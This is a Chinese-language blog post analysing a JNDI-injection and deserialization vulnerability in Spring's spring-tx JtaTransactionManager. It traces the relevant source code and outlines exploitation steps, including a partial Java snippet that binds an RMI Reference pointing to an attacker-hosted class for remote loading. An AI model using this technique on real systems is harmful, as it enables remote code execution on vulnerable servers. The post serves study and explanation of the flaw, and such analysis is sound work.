偶尔走失,从未离开

本文主要介绍Spring框架中Spring-tx.jar的JNDI注入问题,其与反序列化漏洞结合后将导致RCE

Spring框架 spring-tx.jar JNDI注入与反序列化漏洞分析

文章目录:

0x01 相关概念

JNDI(Java Naming and Directory Interface), 全称为 Java命名和目录接口,主要包含两个部分: 命名服务 和 目录服务。

通俗来讲,JNDI就是一组API接口,它为开发人员提供了 查找和访问 各种命名服务和目录服务的通用,统一的接口,提供了绑定和查找的方法:

void bind(String name, Object object) //将名称绑定到对象

Object lookup(String name)    //用名称检索对象

JNDI支持的服务主要有:DNS,LDAP,CORBA 和 RMI 等,有如下程序包:

javax.naming:命名操作;
javax.naming.directory:目录操作;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现。
  • 命名服务

命名服务对某一资源进行命名,然后通过名称来定位唯一的资源。它其实就是一个值和另一个值的映射。

比如DNS服务,学号和姓名等,都可以解释为一种命名服务

  • 目录服务

目录服务是命名服务的自然扩展,区别在于 目录服务不仅有名称,还可以有属性,可以提供基于属性的检索等。

  • RMI

RMI(Remote Method Invocation) 远程方法调用,Java特有的分布对象技术,可以让客户端Java虚拟机像调用本地对象一样,来调用服务端Java虚拟机中对象的方法。

  • JNDI Naming Reference

对象可以通过绑定Reference,来存储在一些命名服务和目录服务下,比如RMI,LDAP等。

0x02 漏洞原理

JNDI提供很多种服务类型,当服务类型为RMI协议时,若lookup()的对象类型为Reference或其子类时,就会导致远程代码执行。

Reference类有两个较重要的属性:

className: 远程调用引用的类名
codebase url:远程调用的对象位置,支持Http协议

远程加载类时,默认会先在RMI服务器的ClassPath查找,如果不存在则会去加载给定的url,均未找到时就会返回失败。

此外,应用通过lookup调用指定codebase url后,会自动执行该类的构造函数。

所以,我们可以在注册RMI服务时,指定为evil类的地址,来进行JNDI注入,进而导致远程代码执行。

我们来了解下lookup()执行过程,Java.Naming.InitialContext 416行:

public Object lookup(String name) throws NamingException 
{
    return getURLOrDefaultInitCtx(name).lookup(name);
}

继续跟进getURLOrDefaultInitCtx()

protected Context getURLOrDefaultInitCtx(Name name) throws NamingException 
{
        if (NamingManager.hasInitialContextFactoryBuilder()) 
        {
            return getDefaultInitCtx();
        }
        if (name.size() > 0) 
        {
            String first = name.get(0);
            String scheme = getURLScheme(first);
            if (scheme != null) 
            {
                Context ctx = NamingManager.getURLContext(scheme, myProps);
                if (ctx != null) 
                {
                    return ctx;
                }
            }
        }
        return getDefaultInitCtx();
}

这说明,即使Context.PROVIDER_URL被设置了初值,但只要lookup参数可控,我们就可以重写url,指向我们的服务器,例如:

// Create the initial context
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");
Context ctx = new InitialContext(env);

// Look up in the local RMI registry
Object local_obj = ctx.lookup(<attacker controlled>);

0x03 Spring-tx 反序列化

Spring-tx 是一个事务管理相关的包,漏洞存在于该类:

org.springframework.transaction.jta.JtaTransactionManager

既然是反序列化触发的JNDI注入,我们先查看下其readObject()方法

来到该类的1198行:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException 
{
    // Rely on default serialization; just initialize state after deserialization.
    ois.defaultReadObject();

    // Create template for client-side JNDI lookup.
    this.jndiTemplate = new JndiTemplate();

    // Perform a fresh lookup for JTA handles.
    initUserTransactionAndTransactionManager();
    initTransactionSynchronizationRegistry();
}

跟进initUserTransactionAndTransactionManager()方法

protected void initUserTransactionAndTransactionManager() throws TransactionSystemException 
{
    if (this.userTransaction == null) 
    {
        // Fetch JTA UserTransaction from JNDI, if necessary.
        if (StringUtils.hasLength(this.userTransactionName)) {
            this.userTransaction = lookupUserTransaction(this.userTransactionName);
            this.userTransactionObtainedFromJndi = true;
        }
        else {
            this.userTransaction = retrieveUserTransaction();
            if (this.userTransaction == null && this.autodetectUserTransaction) {
                // Autodetect UserTransaction at its default JNDI location.
                this.userTransaction = findUserTransaction();
            }
        }
    }

lookupUserTransaction(x)功能为 使用JNDI方式,来查找this.userTransactionName对应的事务

我们可以用setUserTransactionName()函数来设置该值。

继续跟进lookupUserTransaction()函数:

protected UserTransaction lookupUserTransaction(String userTransactionName)
        throws TransactionSystemException {
    try {
        if (logger.isDebugEnabled()) {
            logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
        }
        return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
    }
    catch (NamingException ex) {
        throw new TransactionSystemException(
                "JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
    }
}

它调用了getJndiTemplate().lookup()方法,继续跟进

public Object lookup(final String name) throws NamingException 
{
    if (logger.isDebugEnabled()) {
        logger.debug("Looking up JNDI object with name [" + name + "]");
    }
    return execute(new JndiCallback<Object>() {
        @Override
        public Object doInContext(Context ctx) throws NamingException {
            Object located = ctx.lookup(name);
            if (located == null) {
                throw new NameNotFoundException(
                        "JNDI object with [" + name + "] not found: JNDI implementation returned null");
            }
            return located;
        }
    });
}

最终调用了JndiTemplate的lookup方法,从而导致了漏洞的产生。

我们动态分析一下:

1.在Server.java的readObject下断点
2.在org.springframework.transaction.jta.JtaTransactionManager的readObject()里的initUserTransactionAndTransactionManager()处下断点。

跟进过程就不详说了,和我们前面分析的一模一样。

最终成功执行,调用栈如图:

33.JPG

0x04 利用步骤

利用的思路如下:(图来自seebug)

44.JPG

我们需要分别构造Poc.java,Client.java,Server.java

1.Poc.java

该类是服务端将要反序列化的类,也就是我们的evil类,里面包含我们要执行的代码。

要注意的是,将该类编译之后,class文件要放在HTTP的根目录下,否则服务器将无法访问,如下:

\workplace\项目名\target\classes\

2.Server.java

服务端开启一个Socket,等待接收数据并反序列化即可

3.Client.java

客户端首先需要开启一个HTTP服务,来输出Poc类的字节码

接着,开启 RMI Registry 以供服务端访问,并且用ReferenceWrapper进行包装(否则无法绑定),最后再与和前面的Poc类绑定。

......略
    System.out.println("Creating RMI Registry");
    Registry registry = LocateRegistry.createRegistry(RMIPort);
    String factoryLocation = "http://" + localAddress + ":" + localPort + "/";
    System.out.println("Factory location: " + factoryLocation);
    
    Reference reference = new javax.naming.Reference("Poc","Poc", factoryLocation);
    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
    registry.bind("reference", referenceWrapper);
    String JNDIAddress = "rmi://127.0.0.1:" + RMIPort + "/reference";
    System.out.println("JNDI Address: " + JNDIAddress);
......

详细POC见参考3

0x05 漏洞局限

要利用该漏洞,需要满足如下条件:

1.存在可以反序列化对象的接口

2.目标对象有外网访问权限,去远程下载我们的恶意类

3.目标对象的ClassPath中存在 有缺陷类的jar包 Sping-tx-xxx.jar

其中第3个条件较为苛刻,因为Spring-tx-xxx不是中间件的默认组件,所以该漏洞比较鸡肋。

详细解释见参考1

0x06 参考

JNDI注入--反序列化:

基本概念:

 标签: 反序列化, java

作者  :  watcher


添加新评论